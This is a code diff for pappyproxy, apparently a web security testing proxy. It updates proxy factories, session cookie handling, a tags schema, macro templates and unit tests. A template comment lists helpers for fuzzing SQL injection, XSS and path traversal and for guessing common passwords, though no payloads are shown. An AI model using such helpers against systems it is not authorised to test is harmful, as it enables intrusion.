+                yield request.async_deep_save()
+
+            # re-check after all the mangling
+            context.filter_recheck()
+
+            if request.response:
+                log_request(console.printable_data(request.response.full_response),
+                            id=self.connection_id, symbol='<', verbosity_level=3)
+        else:
+            self.log("Response out of scope, passing along unmangled")
+        self.data_defer.callback(request)
+        defer.returnValue(None)
+
+class ProxyServerFactory(ServerFactory):
+
+    def __init__(self, save_all=False):
+        self.intercepting_macros = {}
+        self.save_all = save_all
 
+    def buildProtocol(self, addr):
+        prot = ProxyServer()
+        prot.factory = self
+        return prot
 
 class ProxyServer(LineReceiver):
 
@@ -244,8 +340,9 @@ class ProxyServer(LineReceiver):
 
         if self._forward:
             self.log("Forwarding to %s on %d" % (self._request_obj.host, self._request_obj.port))
-            factory = ProxyClientFactory(self._request_obj)
-            factory.proxy_server = self
+            factory = ProxyClientFactory(self._request_obj,
+                                         save_all=self.factory.save_all)
+            factory.intercepting_macros = self.factory.intercepting_macros
             factory.connection_id = self.connection_id
             factory.data_defer.addCallback(self.send_response_back)
             if self._request_obj.is_ssl:

pappyproxy/repeater.py

@@ -6,4 +6,4 @@ from pappyproxy import comm
 def start_editor(reqid):
     script_loc = os.path.join(os.path.dirname(__file__), "vim_repeater", "repeater.vim")
     #print "RepeaterSetup %d %d"%(reqid, comm_port)
-    subprocess.call(["vim", "-S", script_loc, "-c", "RepeaterSetup %d %d"%(reqid, comm.comm_port)])
+    subprocess.call(["vim", "-S", script_loc, "-c", "RepeaterSetup %s %d"%(reqid, comm.comm_port)])

pappyproxy/schema/schema_3.py

@@ -0,0 +1,34 @@
+from pappyproxy import http
+from twisted.internet import defer
+
+"""
+Schema v3
+
+Description:
+Adds tables to store tags associated with requests
+"""
+
+update_queries = [
+    """
+    CREATE TABLE tags (
+        id       INTEGER   PRIMARY KEY  AUTOINCREMENT,
+        tag      TEXT      NOT NULL
+    );
+    """,
+
+    """
+    CREATE TABLE tagged (
+        reqid       INTEGER   REFERENCES requests(id),
+        tagid       INTEGER   REFERENCES tags(id)
+    );
+    """,
+
+    """
+    UPDATE schema_meta SET version=3;
+    """,
+]
+
+@defer.inlineCallbacks
+def update(dbpool):
+    for query in update_queries:
+        yield dbpool.runQuery(query)

pappyproxy/session.py

@@ -0,0 +1,82 @@
+from .http import ResponseCookie
+
+class Session(object):
+
+    def __init__(self, cookie_names=None, header_names=None,
+                 cookie_vals=None, header_vals=None):
+        self.cookies = cookie_names or []
+        self.headers = header_names or []
+        self.cookie_vals = cookie_vals or {}
+        self.header_vals = header_vals or {}
+
+        if cookie_vals:
+            for k, v in cookie_vals.iteritems():
+                if k not in self.cookies:
+                    self.cookies.append(k)
+
+        if header_vals:
+            for k, v in header_vals.iteritems():
+                if k not in self.headers:
+                    self.headers.append(k)
+
+    def apply_req(self, req):
+        for k, v in self.cookie_vals.iteritems():
+            if isinstance(v, ResponseCookie):
+                req.cookies[v.key] = v.val
+            else:
+                req.cookies[k] = v
+        for k, v in self.header_vals.iteritems():
+            req.headers[k] = v
+
+    def apply_rsp(self, rsp):
+        for k, v in self.cookie_vals.iteritems():
+            if isinstance(v, ResponseCookie):
+                rsp.set_cookie(v)
+            else:
+                cookie_str = '%s=%s' % (k, v)
+                rsp.set_cookie(ResponseCookie(cookie_str))
+        # Don't apply headers to responses
+
+    def get_req(self, req, cookies=None, headers=None):
+        if cookies:
+            for c in cookies:
+                if c not in self.cookies:
+                    self.cookies.append(c)
+        if headers:
+            for h in headers:
+                if h not in self.headers:
+                    self.headers.append(h)
+
+        if cookies:
+            for cookie in cookies:
+                if cookie in req.cookies:
+                    if cookie not in self.cookies:
+                        self.cookies.append(cookie)
+                    cookie_str = '%s=%s' % (cookie, req.cookies[cookie])
+                    self.cookie_vals[cookie] = ResponseCookie(cookie_str)
+        else:
+            for k, v in req.cookies.all_pairs():
+                if k in self.cookies:
+                    cookie_str = '%s=%s' % (k, v)
+                    self.cookie_vals[cookie] = ResponseCookie(cookie_str)
+        if headers:
+            for header in headers:
+                if header in self.headers:
+                    self.header_vals[header] = req.headers[header]
+
+    def get_rsp(self, rsp, cookies=None):
+        if cookies:
+            for c in cookies:
+                if c not in self.cookies:
+                    self.cookies.append(c)
+
+        if cookies:
+            for cookie in cookies:
+                if cookie in rsp.cookies:
+                    if cookie not in self.cookies:
+                        self.cookies.append(cookie)
+                    self.cookie_vals[cookie] = rsp.cookies[cookie]
+        else:
+            for k, v in rsp.cookies.all_pairs():
+                if v.key in self.cookies:
+                    self.cookie_vals[v.key] = v

pappyproxy/templates/intmacro.py

@@ -0,0 +1,10 @@
+from pappyproxy.session import Session
+
+MACRO_NAME = '{{macro_name}}'
+SHORT_NAME = '{{short_name}}'
+
+def mangle_request(request):
+    return request
+
+def mangle_response(request):
+    return request.response

pappyproxy/templates/macro.py

@@ -0,0 +1,35 @@
+from pappyproxy.http import Request, get_request, post_request
+from pappyproxy.context import set_tag
+from pappyproxy.iter import *
+
+## Iterator cheat sheet:
+# fuzz_path_trav() - Values for fuzzing path traversal
+# fuzz_sqli() - Values for fuzzing SQLi
+# fuzz_xss() - Values for fuzzing XSS
+# common_passwords() - Common passwords
+# common_usernames() - Common usernames
+# fuzz_dirs() - Common web paths (ie /wp-admin)
+
+MACRO_NAME = '{{macro_name}}'
+SHORT_NAME = '{{short_name}}'
+
+###########
+## Requests
+# It's suggested that you call .copy() on these and then edit attributes
+# as needed to create modified requests
+##
+
+{% set count = 1 %}{% for params, lines in zip(req_params, req_lines) %}
+req{{ count }} = Request(({% for line in lines %}
+    '{{ line }}'{% endfor %}{% set count = count+1 %}
+){{ params }})
+{% endfor %}
+
+def run_macro(args):
+    # Example:
+    # req = req1.copy() # Copy req1
+    # req.submit() # Submit the request to get a response
+    # print req.response.raw_headers # print the response headers
+    # req.save() # save the request to the data file
+    # or copy req1 into a loop and use string substitution to automate requests
+    pass

pappyproxy/tests/test_context.py

@@ -56,21 +56,18 @@ def test_gen_filter_by_all_request():
     # Cookie key
     r = Request('GET / HTTP/1.1\r\n')
     r.cookies['hello'] = 'world'
-    r.update_from_objects()
     assert f(r)
     assert not fn(r)
 
     # Cookie value
     r = Request('GET / HTTP/1.1\r\n')
     r.cookies['world'] = 'hello'
-    r.update_from_objects()
     assert f(r)
     assert not fn(r)
 
     # Nowhere in cookie
     r = Request('GET / HTTP/1.1\r\n')
     r.cookies['world'] = 'sucks'
-    r.update_from_objects()
     assert not f(r)
     assert fn(r)
 
@@ -123,7 +120,6 @@ def test_gen_filter_by_all_response(http_request):
     r = Response('HTTP/1.1 200 OK\r\n')
     http_request.response = r
     r.add_cookie(ResponseCookie('hello=goodbye'))
-    r.update_from_objects()
     assert f(http_request)
     assert not fn(http_request)
 
@@ -131,7 +127,6 @@ def test_gen_filter_by_all_response(http_request):
     r = Response('HTTP/1.1 200 OK\r\n')
     http_request.response = r
     r.add_cookie(ResponseCookie('goodbye=hello'))
-    r.update_from_objects()
     assert f(http_request)
     assert not fn(http_request)
 
@@ -139,7 +134,6 @@ def test_gen_filter_by_all_response(http_request):
     r = Response('HTTP/1.1 200 OK\r\n')
     http_request.response = r
     r.add_cookie(ResponseCookie('goodbye=for real'))
-    r.update_from_objects()
     assert not f(http_request)
     assert fn(http_request)
 
@@ -153,7 +147,6 @@ def test_filter_by_host(http_request):
     assert fn(http_request)
 
     http_request.headers['Host'] = 'vim.sexy'
-    http_request.update_from_text()
     assert http_request.host == 'vim.sexy'
     assert f(http_request)
     assert not fn(http_request)

pappyproxy/tests/test_http.py

@@ -1,4 +1,5 @@
 import base64
+import copy
 import gzip
 import json
 import pytest
@@ -6,6 +7,7 @@ import StringIO
 import zlib
 
 from pappyproxy.pappy import http
+from pappyproxy.util import PappyException
 
 ####################
 # Helper Functions
@@ -201,7 +203,7 @@ def test_length_overflow():
     # Test throwing an exception when adding data after complete
     l = http.LengthData(100)
     l.add_data('A'*100)
-    with pytest.raises(http.DataAlreadyComplete):
+    with pytest.raises(PappyException):
         l.add_data('A')
 
 def test_repeatable_dict_simple():
@@ -391,7 +393,6 @@ def test_request_simple():
         assert r.complete
         assert r.fragment == None
         assert r.full_request == headers+data
-        assert r.header_len == len(headers)
         assert r.headers_complete
         assert r.host == 'www.test.com'
         assert r.is_ssl == False
@@ -424,8 +425,8 @@ def test_request_urlparams():
     def test(r):
         assert r.complete
         assert r.fragment == 'frag'
-        assert r.get_params['p1'] == 'foo'
-        assert r.get_params['p2'] == 'bar'
+        assert r.url_params['p1'] == 'foo'
+        assert r.url_params['p2'] == 'bar'
         assert r.full_request == ('GET /?p1=foo&p2=bar#frag HTTP/1.1\r\n'
                                   'Content-Length: 0\r\n'
                                   '\r\n')
@@ -444,8 +445,8 @@ def test_request_questionmark_url():
     def test(r):
         assert r.complete
         assert r.fragment == 'frag'
-        assert r.get_params['?/to/?p1'] == 'foo'
-        assert r.get_params['p2'] == 'bar'
+        assert r.url_params['?/to/?p1'] == 'foo'
+        assert r.url_params['p2'] == 'bar'
         assert r.full_request == ('GET /path/??/to/?p1=foo&p2=bar#frag HTTP/1.1\r\n'
                                   'Content-Length: 0\r\n'
                                   '\r\n')
@@ -472,6 +473,22 @@ def test_request_postparams():
     test(ru)
     test(rj)
     
+def test_post_params_update():
+    r = http.Request(('GET / HTTP/1.1\r\n'
+                      'Content-Type: application/x-www-form-urlencoded\r\n'
+                      'Content-Length: 7\r\n\r\n'
+                      'a=b&c=d'))
+    r.post_params['c'] = 'e'
+    assert r.full_request == ('GET / HTTP/1.1\r\n'
+                              'Content-Type: application/x-www-form-urlencoded\r\n'
+                              'Content-Length: 7\r\n\r\n'
+                              'a=b&c=e')
+    r.post_params['a'] = 'f'
+    assert r.full_request == ('GET / HTTP/1.1\r\n'
+                              'Content-Type: application/x-www-form-urlencoded\r\n'
+                              'Content-Length: 7\r\n\r\n'
+                              'a=f&c=e')
+    
 def test_headers_end():
     header_lines = [
         'GET / HTTP/1.1',
@@ -632,20 +649,22 @@ def test_request_to_json():
     r = http.Request()
     r.status_line = 'GET / HTTP/1.1'
     r.headers['content-length'] = 500
+    r.tags = ['foo', 'bar']
     r.raw_data = 'AAAA'
-    r.reqid = 1
+    r.reqid = '1'
 
     rsp = http.Response()
     rsp.status_line = 'HTTP/1.1 200 OK'
-    rsp.rspid = 2
+    rsp.rspid = '2'
 
     r.response = rsp
 
     expected_reqdata = {u'full_request': unicode(base64.b64encode(r.full_request)),
-                        u'response_id': rsp.rspid,
+                        u'response_id': str(rsp.rspid),
                         u'port': 80,
                         u'is_ssl': False,
-                        u'reqid': r.reqid,
+                        u'tags': ['foo', 'bar'],
+                        u'reqid': str(r.reqid),
                        }
 
     assert json.loads(r.to_json()) == expected_reqdata
@@ -659,7 +678,7 @@ def test_request_update_content_length():
                                'Content-Length: 10\r\n\r\n'
                                'AAAAAAAAAA'))
     
-def test_request_blank_get_params():
+def test_request_blank_url_params():
     r = http.Request()
     r.add_line('GET /this/??-asdf/ HTTP/1.1')
     assert r.full_request == ('GET /this/??-asdf/ HTTP/1.1\r\n\r\n')
@@ -667,9 +686,9 @@ def test_request_blank_get_params():
     r = http.Request()
     r.add_line('GET /this/??-asdf/?a=b&c&d=ef HTTP/1.1')
     assert r.full_request == ('GET /this/??-asdf/?a=b&c&d=ef HTTP/1.1\r\n\r\n')
-    assert r.get_params['?-asdf/?a'] == 'b'
-    assert r.get_params['c'] == None
-    assert r.get_params['d'] == 'ef'
+    assert r.url_params['?-asdf/?a'] == 'b'
+    assert r.url_params['c'] == None
+    assert r.url_params['d'] == 'ef'
 
 def test_request_blank():
     r = http.Request('\r\n\n\n')
@@ -726,7 +745,7 @@ def test_request_set_url():
 def test_request_set_url_params():
     r = http.Request('GET / HTTP/1.1\r\n')
     r.url = 'www.AAAA.BBBB?a=b&c=d#foo'
-    assert r.get_params.all_pairs() == [('a','b'), ('c','d')]
+    assert r.url_params.all_pairs() == [('a','b'), ('c','d')]
     assert r.fragment == 'foo'
     assert r.url == 'http://www.AAAA.BBBB?a=b&c=d#foo'
     r.port = 400
@@ -734,6 +753,24 @@ def test_request_set_url_params():
     r.is_ssl = True
     assert r.url == 'https://www.AAAA.BBBB:400?a=b&c=d#foo'
     
+def test_request_copy():
+    r = http.Request(('GET / HTTP/1.1\r\n'
+                      'Content-Length: 4\r\n\r\n'
+                      'AAAA'))
+    r2 = copy.copy(r)
+    assert r2.full_request == ('GET / HTTP/1.1\r\n'
+                               'Content-Length: 4\r\n\r\n'
+                               'AAAA')
+    
+def test_request_url_blankpath():
+    r = http.Request()
+    r.status_line = 'GET / HTTP/1.1'
+    r.url = 'https://www.google.com'
+    r.headers['Host'] = r.host
+    r.url_params.from_dict({'foo': 'bar'})
+    assert r.full_path == '/?foo=bar'
+    assert r.url == 'https://www.google.com?foo=bar'
+    
 
 ####################
 ## Response tests
@@ -749,11 +786,9 @@ def test_response_simple():
         '',
         ]
     data = 'A'*100
-    header_len = len('\r\n'.join(header_lines)+'\r\n')
     rf, rl, ru, rj = rsp_by_lines_and_full(header_lines, data)
     def test(r):
         assert r.complete
-        assert r.header_len == header_len
         assert r.raw_data == data
         assert r.response_code == 200
         assert r.response_text == 'OK'
@@ -1100,3 +1135,55 @@ def test_response_newlines():
     assert r.full_response == ('HTTP/1.1 200 OK\r\n'
                                'Content-Length: 4\r\n\r\n'
                                'AAAA')
+
+def test_copy_response():
+    r = http.Response(('HTTP/1.1 200 OK\r\n'
+                       'Content-Length: 4\r\n\r\n'
+                       'AAAA'))
+    assert r.full_response == ('HTTP/1.1 200 OK\r\n'
+                               'Content-Length: 4\r\n\r\n'
+                               'AAAA')
+
+    r2 = copy.copy(r)
+    assert r.full_response == ('HTTP/1.1 200 OK\r\n'
+                               'Content-Length: 4\r\n\r\n'
+                               'AAAA')
+
+def test_response_add_cookie():
+    r = http.Response(('HTTP/1.1 200 OK\r\n'
+                       'Content-Length: 0\r\n'
+                       'Set-Cookie: foo=bar\r\n\r\n'))
+    r.add_cookie(http.ResponseCookie('foo=baz'))
+    assert r.full_response == ('HTTP/1.1 200 OK\r\n'
+                               'Content-Length: 0\r\n'
+                               'Set-Cookie: foo=bar\r\n'
+                               'Set-Cookie: foo=baz\r\n\r\n')
+
+def test_response_set_cookie():
+    r = http.Response(('HTTP/1.1 200 OK\r\n'
+                       'Content-Length: 0\r\n'))
+    r.set_cookie(http.ResponseCookie('foo=bar'))
+    assert r.full_response == ('HTTP/1.1 200 OK\r\n'
+                               'Content-Length: 0\r\n'
+                               'Set-Cookie: foo=bar\r\n\r\n')
+
+    r.set_cookie(http.ResponseCookie('foo=baz'))
+    assert r.full_response == ('HTTP/1.1 200 OK\r\n'
+                               'Content-Length: 0\r\n'
+                               'Set-Cookie: foo=baz\r\n\r\n')
+
+def test_response_delete_cookie():
+    r = http.Response(('HTTP/1.1 200 OK\r\n'
+                       'Content-Length: 0\r\n'
+                       'Set-Cookie: foo=bar\r\n\r\n'))
+    r.delete_cookie('foo')
+    assert r.full_response == ('HTTP/1.1 200 OK\r\n'
+                               'Content-Length: 0\r\n\r\n')
+
+    r = http.Response(('HTTP/1.1 200 OK\r\n'
+                       'Content-Length: 0\r\n'
+                       'Set-Cookie: foo=bar\r\n'
+                       'Set-Cookie: foo=baz\r\n\r\n'))
+    r.delete_cookie('foo')
+    assert r.full_response == ('HTTP/1.1 200 OK\r\n'
+                               'Content-Length: 0\r\n\r\n')

pappyproxy/tests/test_mangle.py

@@ -0,0 +1,209 @@
+import pytest
+import mock
+import pappyproxy
+
+from pappyproxy.mangle import async_mangle_request, async_mangle_response
+from pappyproxy.http import Request, Response
+from testutil import no_tcp, no_database, func_deleted, mock_deferred, mock_deep_save, fake_saving
+
+def retf(r):
+    return False
+
+@pytest.fixture
+def ignore_edit(mocker):
+    new_edit = mock.MagicMock()
+    new_edit.return_value = mock_deferred(None)
+    mocker.patch('pappyproxy.console.edit_file', new=new_edit)
+
+@pytest.fixture
+def ignore_delete(mocker):
+    new_os_remove = mock.MagicMock()
+    mocker.patch('os.remove', new=new_os_remove)
+    return new_os_remove
+
+@pytest.fixture(autouse=True)
+def no_logging(mocker):
+    mocker.patch('pappyproxy.proxy.log')
+        
+@pytest.fixture
+def req():
+    r = Request()
+    r.status_line = 'GET / HTTP/1.1'
+    r.host = 'www.ffffff.eeeeee'
+    r.raw_data = 'AAAA'
+    return r
+
+@pytest.fixture
+def req_w_rsp(req):
+    r = Response()
+    r.status_line = 'HTTP/1.1 200 OK'
+    r.headers['Test-Header'] = 'ABC123'
+    r.raw_data = 'AAAA'
+    req.response = r
+    return req
+
+@pytest.fixture
+def mock_tempfile(mocker):
+    new_tfile_obj = mock.MagicMock()
+    tfile_instance = mock.MagicMock()
+    new_tfile_obj.return_value.__enter__.return_value = tfile_instance
+
+    tfile_instance.name = 'mockTemporaryFile'
+    mocker.patch('tempfile.NamedTemporaryFile', new=new_tfile_obj)
+
+    new_open = mock.MagicMock()
+    fake_file = mock.MagicMock(spec=file)
+    new_open.return_value.__enter__.return_value = fake_file
+    mocker.patch('__builtin__.open', new_open)
+
+    return (new_tfile_obj, tfile_instance, new_open, fake_file)
+
+        
+########################
+## Test request mangling
+    
+@pytest.inlineCallbacks
+def test_mangle_request_edit(req, mock_deep_save, mock_tempfile,
+                             ignore_edit, ignore_delete):
+    tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
+    r = req
+    new_contents = ('GET / HTTP/1.1\r\n'
+                    'Content-Length: 4\r\n\r\n'
+                    'BBBB')
+    fake_file.read.return_value = new_contents
+    new_req = yield async_mangle_request(r)
+    assert not mock_deep_save.called
+    assert tfile_obj.called
+    assert tfile_instance.write.called
+    assert tfile_instance.write.call_args == ((r.full_request,),)
+    assert new_open.called
+    assert fake_file.read.called
+
+    assert new_req.full_request == new_contents
+
+@pytest.inlineCallbacks
+def test_mangle_request_edit_newlines(req, mock_deep_save, mock_tempfile,
+                                      ignore_edit, ignore_delete):
+    # Intercepting is off, request in scope
+    tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
+    r = req
+    new_contents = ('GET / HTTP/1.1\r\n'
+                    'Test-Head: FOOBIE\n'
+                    'Content-Length: 4\n\r\n'
+                    'BBBB')
+    fake_file.read.return_value = new_contents
+    new_req = yield async_mangle_request(r)
+
+    assert new_req.full_request == ('GET / HTTP/1.1\r\n'
+                                    'Test-Head: FOOBIE\r\n'
+                                    'Content-Length: 4\r\n\r\n'
+                                    'BBBB')
+    assert new_req.headers['Test-Head'] == 'FOOBIE'
+
+@pytest.inlineCallbacks
+def test_mangle_request_drop(req, mock_deep_save, mock_tempfile,
+                             ignore_edit, ignore_delete):
+    # Intercepting is off, request in scope
+    tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
+    r = req
+    new_contents = ''
+    fake_file.read.return_value = new_contents
+    new_req = yield async_mangle_request(r)
+
+    assert new_req is None
+
+@pytest.inlineCallbacks
+def test_mangle_request_edit_len(req, mock_deep_save, mock_tempfile,
+                                 ignore_edit, ignore_delete):
+    # Intercepting is off, request in scope
+    tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
+    r = req
+    new_contents = ('GET / HTTP/1.1\r\n'
+                    'Test-Head: FOOBIE\n'
+                    'Content-Length: 4\n\r\n'
+                    'BBBBAAAA')
+    fake_file.read.return_value = new_contents
+    new_req = yield async_mangle_request(r)
+
+    assert new_req.full_request == ('GET / HTTP/1.1\r\n'
+                                    'Test-Head: FOOBIE\r\n'
+                                    'Content-Length: 8\r\n\r\n'
+                                    'BBBBAAAA')
+
+
+#########################
+## Test response mangling
+    
+@pytest.inlineCallbacks
+def test_mangle_response_edit(req_w_rsp, mock_deep_save, mock_tempfile,
+                              ignore_edit, ignore_delete):
+    # Intercepting is on, edit
+    tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
+    r = req_w_rsp
+    old_rsp = r.response.full_response
+    new_contents = ('HTTP/1.1 403 NOTOKIEDOKIE\r\n'
+                    'Content-Length: 4\r\n'
+                    'Other-Header: foobles\r\n\r\n'
+                    'BBBB')
+    fake_file.read.return_value = new_contents
+    mangled_rsp = yield async_mangle_response(r)
+    assert not mock_deep_save.called
+    assert tfile_obj.called
+    assert tfile_instance.write.called
+    assert tfile_instance.write.call_args == ((old_rsp,),)
+    assert new_open.called
+    assert fake_file.read.called
+
+    assert mangled_rsp.full_response == new_contents
+
+@pytest.inlineCallbacks
+def test_mangle_response_newlines(req_w_rsp, mock_deep_save, mock_tempfile,
+                                  ignore_edit, ignore_delete):
+    # Intercepting is off, request in scope
+    tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
+    r = req_w_rsp
+    old_rsp = r.response.full_response
+    new_contents = ('HTTP/1.1 403 NOTOKIEDOKIE\n'
+                    'Content-Length: 4\n'
+                    'Other-Header: foobles\r\n\n'
+                    'BBBB')
+    fake_file.read.return_value = new_contents
+    mangled_rsp = yield async_mangle_response(r)
+
+    assert mangled_rsp.full_response == ('HTTP/1.1 403 NOTOKIEDOKIE\r\n'
+                                         'Content-Length: 4\r\n'
+                                         'Other-Header: foobles\r\n\r\n'
+                                         'BBBB')
+    assert mangled_rsp.headers['Other-Header'] == 'foobles'
+
+@pytest.inlineCallbacks
+def test_mangle_response_drop(req_w_rsp, mock_deep_save, mock_tempfile,
+                              ignore_edit, ignore_delete):
+    # Intercepting is off, request in scope
+    tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
+    r = req_w_rsp
+    old_rsp = r.response.full_response
+    new_contents = ''
+    fake_file.read.return_value = new_contents
+    mangled_rsp = yield async_mangle_response(r)
+
+    assert mangled_rsp is None
+
+@pytest.inlineCallbacks
+def test_mangle_response_new_len(req_w_rsp, mock_deep_save, mock_tempfile,
+                                 ignore_edit, ignore_delete):
+    # Intercepting is off, request in scope
+    tfile_obj, tfile_instance, new_open, fake_file = mock_tempfile
+    r = req_w_rsp
+    old_rsp = r.response.full_response
+    new_contents = ('HTTP/1.1 403 NOTOKIEDOKIE\n'
+                    'Content-Length: 4\n'
+                    'Other-Header: foobles\r\n\n'
+                    'BBBBAAAA')
+    fake_file.read.return_value = new_contents
+    mangled_rsp = yield async_mangle_response(r)
+
+    assert mangled_rsp.full_response == ('HTTP/1.1 403 NOTOKIEDOKIE\r\n'
+                                         'Content-Length: 8\r\n'
+                                         'Other-Header: foobles\r\n\r\n'
+                                         'BBBBAAAA')

pappyproxy/tests/test_proxy.py

@@ -1,11 +1,14 @@
+import os
 import pytest
 import mock
 import twisted.internet
 import twisted.test
 
 from pappyproxy import http
+from pappyproxy import macros
 from pappyproxy import mangle
-from pappyproxy.proxy import ProxyClient, ProxyClientFactory, ProxyServer
+from pappyproxy import config
+from pappyproxy.proxy import ProxyClient, ProxyClientFactory, ProxyServerFactory
 from testutil import mock_deferred, func_deleted, func_ignored_deferred, func_ignored, no_tcp
 from twisted.internet.protocol import ServerFactory
 from twisted.test.iosim import FakeTransport
@@ -14,12 +17,14 @@ from twisted.internet import defer, reactor
 ####################
 ## Fixtures
 
+MANGLED_REQ = 'GET /mangled HTTP/1.1\r\n\r\n'
+MANGLED_RSP = 'HTTP/1.1 500 MANGLED\r\n\r\n'
+
 @pytest.fixture
 def unconnected_proxyserver(mocker):
     mocker.patch("twisted.test.iosim.FakeTransport.startTLS")
     mocker.patch("pappyproxy.proxy.load_certs_from_dir", new=mock_generate_cert)
-    factory = ServerFactory()
-    factory.protocol = ProxyServer
+    factory = ProxyServerFactory()
     protocol = factory.buildProtocol(('127.0.0.1', 0))
     protocol.makeConnection(FakeTransport(protocol, True))
     return protocol
@@ -28,8 +33,7 @@ def unconnected_proxyserver(mocker):
 def proxyserver(mocker):
     mocker.patch("twisted.test.iosim.FakeTransport.startTLS")
     mocker.patch("pappyproxy.proxy.load_certs_from_dir", new=mock_generate_cert)
-    factory = ServerFactory()
-    factory.protocol = ProxyServer
+    factory = ProxyServerFactory()
     protocol = factory.buildProtocol(('127.0.0.1', 0))
     protocol.makeConnection(FakeTransport(protocol, True))
     protocol.lineReceived('CONNECT https://www.AAAA.BBBB:443 HTTP/1.1')
@@ -40,26 +44,40 @@ def proxyserver(mocker):
 @pytest.fixture
 def proxy_connection():
     @defer.inlineCallbacks
-    def gen_connection(send_data):
+    def gen_connection(send_data, new_req=False, new_rsp=False,
+                       drop_req=False, drop_rsp=False):
         factory = ProxyClientFactory(http.Request(send_data))
+
+        macro = gen_mangle_macro(new_req, new_rsp, drop_req, drop_rsp)
+        factory.intercepting_macros['pappy_mangle'] = macro
+
         protocol = factory.buildProtocol(None)
         tr = FakeTransport(protocol, True)
         protocol.makeConnection(tr)
         sent = yield protocol.data_defer
+        print sent
         defer.returnValue((protocol, sent, factory.data_defer))
     return gen_connection
 
+@pytest.fixture
+def in_scope_true(mocker):
+    new_in_scope = mock.MagicMock()
+    new_in_scope.return_value = True
+    mocker.patch("pappyproxy.context.in_scope", new=new_in_scope)
+    return new_in_scope
+
+@pytest.fixture
+def in_scope_false(mocker):
+    new_in_scope = mock.MagicMock()
+    new_in_scope.return_value = False
+    mocker.patch("pappyproxy.context.in_scope", new=new_in_scope)
+    return new_in_scope
+
 ## Autorun fixtures
     
-# @pytest.fixture(autouse=True)
-# def no_mangle(mocker):
-#     # Don't call anything in mangle.py
-#     mocker.patch("mangle.mangle_request", notouch_mangle_req)
-#     mocker.patch("mangle.mangle_response", notouch_mangle_rsp)
-    
 @pytest.fixture(autouse=True)
 def ignore_save(mocker):
-    mocker.patch("pappyproxy.http.Request.deep_save", func_ignored_deferred)
+    mocker.patch("pappyproxy.http.Request.async_deep_save", func_ignored_deferred)
 
 ####################
 ## Mock functions
@@ -117,32 +135,56 @@ def mock_generate_cert(cert_dir):
               '-----END CERTIFICATE-----')
     return (ca_key, private_key)
 
-def notouch_mangle_req(request, conn_id):
-    orig_req = http.Request(request.full_request)
-    orig_req.port = request.port
-    orig_req.is_ssl = request.is_ssl
-    d = mock_deferred(orig_req)
+def gen_mangle_macro(modified_req=None, modified_rsp=None,
+                     drop_req=False, drop_rsp=False):
+    macro = mock.MagicMock()
+    if modified_req or drop_req:
+        macro.async_req = True
+        macro.do_req = True
+        if drop_req:
+            newreq = None
+        else:
+            newreq = http.Request(modified_req)
+        macro.async_mangle_request.return_value = mock_deferred(newreq)
+    else:
+        macro.do_req = False
+
+    if modified_rsp or drop_rsp:
+        macro.async_rsp = True
+        macro.do_rsp = True
+        if drop_rsp:
+            newrsp = None
+        else:
+            newrsp = http.Response(modified_rsp)
+        macro.async_mangle_response.return_value = mock_deferred(newrsp)
+    else:
+        macro.do_rsp = False
+    return macro
+
+def notouch_mangle_req(request):
+    d = mock_deferred(request)
     return d
 
-def notouch_mangle_rsp(response, conn_id):
-    req = http.Request()
-    orig_rsp = http.Response(response.full_response)
-    req.response = orig_rsp
-    d = mock_deferred(req)
+def notouch_mangle_rsp(request):
+    d = mock_deferred(request.response)
     return d
 
-def req_mangler_change(request, conn_id):
+def req_mangler_change(request):
     req = http.Request('GET /mangled HTTP/1.1\r\n\r\n')
     d = mock_deferred(req)
     return d
 
-def rsp_mangler_change(request, conn_id):
-    req = http.Request()
+def rsp_mangler_change(request):
     rsp = http.Response('HTTP/1.1 500 MANGLED\r\n\r\n')
-    req.response = rsp
-    d = mock_deferred(req)
+    d = mock_deferred(rsp)
     return d
 
+def req_mangler_drop(request):
+    return mock_deferred(None)
+
+def rsp_mangler_drop(request):
+    return mock_deferred(None)
+
 ####################
 ## Unit test tests
 
@@ -165,14 +207,14 @@ def test_deleted():
 ####################
 ## Proxy Server Tests
 
-def test_proxy_server_connect(unconnected_proxyserver, mocker):
+def test_proxy_server_connect(unconnected_proxyserver, mocker, in_scope_true):
     mocker.patch("twisted.internet.reactor.connectSSL")
     unconnected_proxyserver.lineReceived('CONNECT https://www.dddddd.fff:433 HTTP/1.1')
     unconnected_proxyserver.lineReceived('')
     assert unconnected_proxyserver.transport.getOutBuffer() == 'HTTP/1.1 200 Connection established\r\n\r\n'
     assert unconnected_proxyserver._request_obj.is_ssl
     
-def test_proxy_server_basic(proxyserver, mocker):
+def test_proxy_server_basic(proxyserver, mocker, in_scope_true):
     mocker.patch("twisted.internet.reactor.connectSSL")
     mocker.patch('pappyproxy.proxy.ProxyServer.setRawMode')
     proxyserver.lineReceived('GET / HTTP/1.1')
@@ -184,37 +226,60 @@ def test_proxy_server_basic(proxyserver, mocker):
     assert args[1] == 443
     
 @pytest.inlineCallbacks
-def test_proxy_client_basic(mocker, proxy_connection):
-    mocker.patch('pappyproxy.mangle.mangle_request', new=notouch_mangle_req)
-    mocker.patch('pappyproxy.mangle.mangle_response', new=notouch_mangle_rsp)
+def test_proxy_client_nomangle(mocker, proxy_connection, in_scope_true):
     # Make the connection
-    (prot, sent, resp_deferred) = yield proxy_connection('GET / HTTP/1.1\r\n\r\n')
-    assert sent == 'GET / HTTP/1.1\r\n\r\n'
+    (prot, sent, retreq_deferred) = \
+                    yield proxy_connection('GET / HTTP/1.1\r\n\r\n', None, None)
+    assert sent.full_request == 'GET / HTTP/1.1\r\n\r\n'
     prot.lineReceived('HTTP/1.1 200 OK')
     prot.lineReceived('Content-Length: 0')
     prot.lineReceived('')
-    ret_req = yield resp_deferred
+    ret_req = yield retreq_deferred
     response = ret_req.response.full_response
     assert response == 'HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n'
 
 @pytest.inlineCallbacks
-def test_proxy_client_mangle_req(mocker, proxy_connection):
-    mocker.patch('pappyproxy.mangle.mangle_request', new=req_mangler_change)
-    mocker.patch('pappyproxy.mangle.mangle_response', new=notouch_mangle_rsp)
-    
+def test_proxy_client_mangle_req(mocker, proxy_connection, in_scope_true):
     # Make the connection
-    (prot, sent, resp_deferred) = yield proxy_connection('GET / HTTP/1.1\r\n\r\n')
